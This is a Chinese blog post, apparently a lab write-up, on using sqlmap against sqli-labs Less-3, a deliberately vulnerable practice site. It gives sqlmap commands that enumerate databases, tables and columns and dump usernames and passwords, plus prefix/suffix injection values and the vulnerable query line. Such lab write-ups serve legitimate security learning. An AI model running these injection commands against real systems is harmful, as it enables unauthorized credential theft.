网络安全-sqlmap实战之sqlilabs-Less3

红太狼 2023-02-20 12:12 7阅读 0赞

**目录**

类型

注入判断

\-dbs枚举数据库

\-tables枚举表

-columns枚举列

\-dump枚举数据

查看源代码

--------------------

# 类型 #

字符串转换错误，他又提示输入数字型ID，应该是把数字转换为了字符串

# 注入判断 #

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70][] 截图

结合课程1，猜测sql语句为

select * from users where id = ('参数') LIMIT 0,1

# \-dbs枚举数据库 #

python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-3/?id=1" -dbs

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 1][] 4种注入方式

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 2][] 枚举数据库

# \-tables枚举表 #

python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-3/?id=1" --dbms mysql -D security -tables

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 3][] 枚举表

#  -columns枚举列 #

python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-3/?id=1" --dbms mysql -D security -T users -columns

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 4][] 枚举列

# \-dump枚举数据 #

python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-3/?id=1" --dbms mysql -D security -T users -C username,password -dump

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 5][] 枚举数据

# 查看源代码 #

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

今后的课程应该会更难，我将添加已知信息，比如，已知数据库为mysql，则使用--dbms，已知部分sql信息，例如本次课程的()，使用--prefix和--suffix，以及-o、--threads等进行优化，例如：

python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-3/?id=1" --dbms mysql --prefix="')" --suffix=" AND ('abc'='abc'" -o  -D security -T users -C username,password -dump

sqlmap使用参考下方文章中的sqlmap使用笔记。

更多内容查看：[网络安全-自学笔记][-]

有问题请下方评论，转载请注明出处，并附有原文链接，谢谢！如有侵权，请及时联系。

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200626173958449.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200626174811542.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20200626173829310.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/20200626174451748.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 4]: https://img-blog.csdnimg.cn/20200626175024723.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 5]: https://img-blog.csdnimg.cn/20200626175236584.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ==,size_16,color_FFFFFF,t_70
[-]: https://blog.csdn.net/lady_killer9/article/details/106791542